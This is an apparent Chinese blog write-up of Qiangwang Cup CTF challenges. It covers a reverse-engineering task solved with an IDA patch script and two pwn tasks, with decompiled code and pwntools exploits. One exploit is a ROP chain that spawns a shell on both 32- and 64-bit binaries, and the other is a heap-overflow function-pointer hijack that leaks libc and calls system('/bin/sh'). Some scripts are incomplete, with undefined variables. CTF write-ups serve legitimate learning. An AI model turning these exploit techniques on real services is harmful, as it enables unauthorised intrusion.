# 强网杯 签到re 签到pwn 题解

128 篇文章 3 订阅
78 篇文章 6 订阅

Just re

auto i=0;
while(i<0x60)
{
PatchByte(0x004018A0+i,Byte(0x00404148+i));
i++;

}

V11 是我们后两位当成转化成一个16进制值 当然  前8位也是 被转化成v3

*(&xmmword_405018 + v20) = (v20 + v3) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20));

*(&xmmword_405018 + v20) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20))=(v20 + v3)

for i in range(100):

if Dword(0x404148)^(Dword(0x405018)+i*0x1010101)&0xffffffff==Dword(0x404148+4)^((Dword(0x405018+4)+i*0x1010101)&0xffffffff)-1:

print hex(i),hex(Dword(0x404148)^Dword(0x405018)+(i*0x1010101)&0xffffffff)

print "yes"

感觉像3des

pwn 我就直接 粘贴复制 我们负责人的的博客内容了

pwn 这两题也不算难  只不过第一天 我和负责人都卡死了 so 。。。 都没有思路

后来才知道这个题目是    要兼容两个版本   。。。

[*] '/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/1/_stkof'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

### main

int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Welcome to QWB");
puts("We give you a little challenge, try to pwn it?");
vul();
return 0;
}

## 关键函数

#32位的
int vul()
{
char v1; // [esp+Ch] [ebp-10Ch]

setbuf(stdin, 0);
setbuf(stdout, 0);
j_memset_ifunc(&v1, 0, 256);
return puts(&v1);
}
#64位的
__int64 vul()
{
__int64 v0; // rdx
char buf; // [rsp+0h] [rbp-110h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
j_memset_ifunc(&buf, 0LL, 256LL);
return puts(&buf, &buf, v0);
}

32位：0x080a69f2 : add esp, 0x20 ; ret

64位：0x000000000040cd18 : add esp, 0x80 ; ret

from pwn import *

io = process('./__stkof')
bss = 0x080DAFC4
pop_dx_cx_bx_ret = 0x0806e9f1
pop_edi_ret=0x08049b1b
pop_rax_ret = 0x080a8af6
syscall = 0x0000000000461645
pop_rdi_64_ret = 0x4005f6
pop_rsi_64_ret = 0x405895
pop_rdx_64_ret = 0x43b9d5
pop_rax_64_ret = 0x43b97c
pay='A'*0x110
pay+='A'*4
pay+='A'*0x14
pay+=p32(pop_dx_cx_bx_ret)
pay+=p32(0)
pay+=p32(bss)
pay+=p32(0x8)
pay+=p32(pop_rax_ret)
pay+=p32(0xb)
pay+=p32(pop_dx_cx_bx_ret)
pay+=p32(0)
pay+=p32(0)
pay+=p32(bss)
pay+='A'*0x3c
pay+=p64(pop_rdi_64_ret)
pay+=p64(0x0)
pay+=p64(pop_rsi_64_ret)
pay+=p64(pop_rdx_64_ret)
pay+=p64(0x20)
pay+=p64(pop_rax_64_ret)
pay+=p64(0)
pay+=p64(syscall)
pay+=p64(pop_rax_64_ret)
pay+=p64(0)
pay+=p64(pop_rsi_64_ret)
pay+=p64(0x0)
pay+=p64(pop_rdx_64_ret)
pay+=p64(0x0)
pay+=p64(pop_rax_64_ret)
pay+=p64(59)
pay+=p64(pop_rdi_64_ret)
pay+=p64(syscall)
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()
io = process('./_stkof')
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()


import hashlib,sys,socket,re
from struct import pack
from pwn import *
from struct import pack
sss=string.ascii_letters+string.digits
r = remote()
r.recv()
data=r.recv()
print data
skr_sha256 = re.findall('hashlib.sha256$$skr$$.hexdigest=(.*?)\n', data)[0]
skr = re.findall('skr$0:5$.encode$$\'hex\'$$=(.*?)\n', data)[0].decode('hex')

while True:
for i in range(255, 1, -1):
for j in range(255, 1, -1):
for k in range(255, 1, -1):
temp = skr + chr(i) + chr(j) + chr(k)
_sha256 = hashlib.new('sha256')
_sha256.update(temp)
if _sha256.hexdigest() == skr_sha256:
print temp.encode('hex'),i,j,k
r.send(temp.encode('hex')+'\r\n')
print r.recv(1024)
r.sendline()

[*] '/media/psf/AllFiles/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/main/task_main'
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled


### main

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

init(*&argc, argv, envp);
welcome(*&argc);
while ( 1 )
{
while ( 1 )
{
_isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 3 )
break;
Change();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 1337 )
huangniu();
else
LABEL_15:
puts("something wrong!");
}
else if ( v3 == 1 )
{
Get();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
Open();
}
}
}

## 分析

unsigned __int64 Get()
{
_QWORD *v0; // rax
int v1; // eax
char size[12]; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

if ( number > 4 )
{
puts("We don't have too much tickets! Bye~");
exit(0);
}
v0 = malloc(0x10uLL);
*&size[4] = v0;
v0[1] = &puts;
puts("The length of my owner's name:");
_isoc99_scanf("%d", size);
getchar();
buf = malloc(*size);
puts("Give me my owner's name:");
*(buf + (*size - 1)) = 0LL;
**&size[4] = buf;
v1 = number++;
list[v1] = *&size[4];
puts("OK! Give you a tickets of your own~");
}
unsigned __int64 Open()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

puts("Please tell me which tickets would you want to open?");
_isoc99_scanf("%d", &v1);
getchar();
if ( v1 > number )
{
puts("sorry you can't open this tickets!");
}
else
{
v2 = list[v1][1];
puts("I'm a magic tickets.I will tell you who is my owner!");
v2(*list[v1], &v1);
}
}
unsigned __int64 Change()
{
int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

puts("Please tell me which tickets would you want to change it's owner's name?");
_isoc99_scanf("%d", &v2);
getchar();
if ( v2 > number )
{
puts("sorry you can't change this tickets!");
}
else
{
buf = *list[v2];
puts("The length of my owner's name:");
_isoc99_scanf("%d", &v1);
getchar();
puts("Give me my owner's name:");
puts("OK! I know my owner's new name!");
}
}

## 关键函数

unsigned __int64 Change()
{
int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

puts("Please tell me which tickets would you want to change it's owner's name?");
_isoc99_scanf("%d", &v2);
getchar();
if ( v2 > number )
{
puts("sorry you can't change this tickets!");
}
else
{
buf = *list[v2];
puts("The length of my owner's name:");
_isoc99_scanf("%d", &v1);
getchar();
puts("Give me my owner's name:");
puts("OK! I know my owner's new name!");
}
}

## exp步骤

1. 申请两个chunk
2. 把第一个溢出填充到第二个的puts指针前
3. open（0）来leak puts 的地址
4. 然后计算libc的基址和system的地址
5. 修改第一个覆盖第二个的两个指针
6. 修改第二个chunk的puts指针为system地址，修改第二个chunk的name指针为/bin/sh的地址
7. open（1）拿到shell

## 完整脚本

from pwn import *
context.log_level='debug'

#io=remote('49.4.15.125',30175)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def get(b,a):
io.sendline('1')
io.sendlineafter("The length of my owner's name:\n",str(b))
io.sendafter("Give me my owner's name:\n",a)

def open(a):
io.sendline('2')
io.sendlineafter("Please tell me which tickets would you want to open?\n",str(a))

def change(a,b):
io.sendline('3')
io.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n",str(a))
io.sendlineafter("The length of my owner's name:",str(len(b)+1))
io.sendafter("Give me my owner's name:",b)

io.recv()
get(20,'aaaa')
get(20,'bbbb')
change(0,'a'*40)
io.recv()
open(0)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
log.success('libc_base:'+hex(libc_base))
change(0,pay)
open(1)
#gdb.attach(io)
#pause()
io.interactive()

UP更新不错过~
• 0
点赞
• 0
收藏
觉得还不错? 一键收藏
• 打赏
• 0
评论
04-25
07-26 2092
12-11 1009
10-11 136
05-29 1036
12-11
12-11
07-20
11-30
09-06
09-24
09-01
05-23
02-11
05-07

### “相关推荐”对你有帮助么？

• 非常没帮助
• 没帮助
• 一般
• 有帮助
• 非常有帮助

pipixia233333

¥2 ¥4 ¥6 ¥10 ¥20

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、C币套餐、付费专栏及课程。